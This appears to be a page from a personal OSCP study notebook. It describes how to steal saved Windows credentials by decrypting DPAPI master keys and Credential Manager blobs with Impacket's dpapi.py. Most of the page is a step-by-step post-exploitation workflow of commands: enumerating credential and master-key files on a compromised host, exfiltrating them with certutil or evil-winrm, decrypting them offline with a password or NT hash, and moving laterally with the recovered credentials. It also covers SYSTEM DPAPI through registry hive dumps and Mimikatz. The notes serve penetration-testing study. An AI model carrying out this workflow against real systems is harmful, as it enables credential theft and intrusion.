Pearson's OSCP Notebook

dpapi

Properties1
tagsdpapi, impacket, credential-manager, windows, post-exploitation, oscp

2 min read

Impacket — dpapi.py

Ctrl+F: DPAPI · Credentials · Protect · masterkey · steph.cooper

What it is: Windows DPAPI (Data Protection API) encrypts saved passwords (Credential Manager, browser, RDP, etc.). impacket-dpapi decrypts master keys and credential blobs offline on Kali when you have the user’s SID + password (or NT hash).

Repo: via Impacket — impacket-dpapi or python3 dpapi.py

📌 Where DPAPI files live (on target)

ArtifactPath
Credential blobsC:\Users\<user>\AppData\Local\Microsoft\Credentials\
Master keysC:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\

Filenames are GUIDs / hex hashes (e.g. DFBE70A7E5CC19A398EBF1B96859CE5D, 556a2412-1275-4ccf-b721-e6a0b4f90407).

📌 Full workflow — steph.cooper example (start to finish)

1) On compromised host — enumerate (as user or SYSTEM)

# List saved credential blobs
Get-ChildItem C:\Users\Administrator\AppData\Local\Microsoft\Credentials -Force
 
# List master keys (note SID folder + GUID filenames)
Get-ChildItem C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-3761488485-2450423176-1188473009-500 -Force

Look for:

  • Blob in Credentials\ (e.g. DFBE70A7E5CC19A398EBF1B96859CE5D)
  • Master key GUID in Protect\<SID>\ — pick key with date before today if multiple exist

2) Exfil files to Kali

# Copy via SMB, evil-winrm download, base64, etc.
certutil -encode C:\Users\Administraor\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D cred.b64

Or evil-winrm download, smbclient, CrackMapExec - nxc --get-file.

3) Decrypt master key (Kali)

Need: master key file, user SID, user password (or NT hash).

impacket-dpapi masterkey \
  -file "556a2412-1275-4ccf-b721-e6a0b4f90407" \
  -sid S-1-5-21-1487982659-1829050783-2281216199-1107 \
  -password 'ChefSteph2025!'

Output: Decrypted key: 0x... — save the hex key.

# With NT hash instead of password
impacket-dpapi masterkey -file MASTERKEY_GUID -sid USER_SID -key 0xNTHASH

4) Decrypt credential blob (Kali)

impacket-dpapi credential \
  -file DFBE70A7E5CC19A398EBF1B96859CE5D \
  -key 0xDECRYPTED_MASTERKEY_HEX

Success output:

Username    : some.user_adm
Password    : CleartextPasswordHere
Target      : Domain:target=DOMAIN.LOCAL

Use recovered creds → Credential Graph · lateral movement.

📌 SYSTEM DPAPI (machine secrets)

For SYSTEM-level DPAPI (not user Credential Manager):

  1. Dump SAM, SYSTEM, SECURITY hives → secretsdump / Registry Hives and Linux Equivalents
  2. Extract DPAPI_SYSTEM from LSA secrets
  3. impacket-dpapi masterkey -file <guid> -key <DPAPI_SYSTEM_key>
  4. impacket-dpapi unprotect -file <blob> -key <decrypted_masterkey>

On-box alternative: Mimikatz sekurlsa::dpapi / dpapi::cred

📌 Quick cheat sheet

# ON TARGET — find artifacts
dir C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials -Force
dir C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\<SID> -Force
# ON KALI — decrypt
impacket-dpapi masterkey -file MASTERKEY_GUID -sid USER_SID -password 'PASS'
impacket-dpapi credential -file CREDENTIAL_BLOB -key 0xMASTERKEY_HEX

Graph View

Backlinks